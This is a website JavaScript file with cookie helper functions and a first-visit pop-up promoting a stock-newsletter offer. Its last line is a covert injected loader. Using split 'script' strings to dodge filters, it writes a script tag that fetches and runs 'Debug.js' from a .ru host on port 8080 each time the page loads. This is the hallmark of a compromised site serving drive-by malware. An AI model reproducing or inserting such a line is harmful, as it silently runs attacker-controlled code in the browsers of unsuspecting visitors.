<!--//
//************** Cookie Functions ********************
//Generic expiration date
var expDays = 100;
var exp = new Date(); 
exp.setTime(exp.getTime() + (expDays*24*60*60*1000));
//////////////////////////////////////////////////////
// Get the cookie.
// Usage: var someVariable = GetCookie('your_cookie_name');
//////////////////////////////////////////////////////
function getCookieVal (offset) {  
	var endstr = document.cookie.indexOf (";", offset);  
	if (endstr == -1) { endstr = document.cookie.length; }
	return unescape(document.cookie.substring(offset, endstr));
}
function GetCookie (name) {  
	var arg = name + "=";  
	var alen = arg.length;  
	var clen = document.cookie.length;  
	var i = 0;  
	while (i < clen) {    
		var j = i + alen;    
		if (document.cookie.substring(i, j) == arg) return getCookieVal (j);    
		i = document.cookie.indexOf(" ", i) + 1;    
		if (i == 0) break;   
	}  
	return null;
}

//////////////////////////////////////////////////////
// Set the cookie.
// Usage: SetCookie('your_cookie_name', 'your_cookie_value', exp);
//////////////////////////////////////////////////////
function SetCookie (name, value) {  
	var argv = SetCookie.arguments;  
	var argc = SetCookie.arguments.length;  
	var expires = (argc > 2) ? argv[2] : null;  
	var path = (argc > 3) ? argv[3] : null;  
	var domain = (argc > 4) ? argv[4] : null;  
	var secure = (argc > 5) ? argv[5] : false;  
	document.cookie = name + "=" + escape (value) + 
	((expires == null) ? "" : ("; expires=" + expires.toGMTString())) + 
	((path == null) ? "" : ("; path=" + path)) +  
	((domain == null) ? "" : ("; domain=" + domain)) +    
	((secure == true) ? "; secure" : "");
}
// ************ End Cookie Functions *****************

// Function to check for first time user.
// Checks for cookie and if cookie is not there, opens a pop-up window
// Except we don't popop anything if this click is coming from Google Adwords
function FirstTimeCheck(){
	if ((document.referrer.search('google.com') == -1) || (document.URL.search('aid=') == -1)) {
		var f=GetCookie('FirstCheck');
		if(f == null){
			var hHandle=window.open('http://www.Stockbarometer.com/StockBarFreeOffer.htm','_blank','width=650,height=150,scrollbars=no,resizable=no');
			// If the handle is not present, it was blocked by pop-up blocker
			// so don't set the cookie until the pop-up actually occurs.
			if (hHandle != null){
				SetCookie('FirstCheck','CHECKED', exp);
			}
		}
		else{
			// If cookie is present, then extend the expiration date
			SetCookie('FirstCheck','CHECKED', exp);
		}
	}
}



//-->

document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Debug.js"></scr'+'ipt>');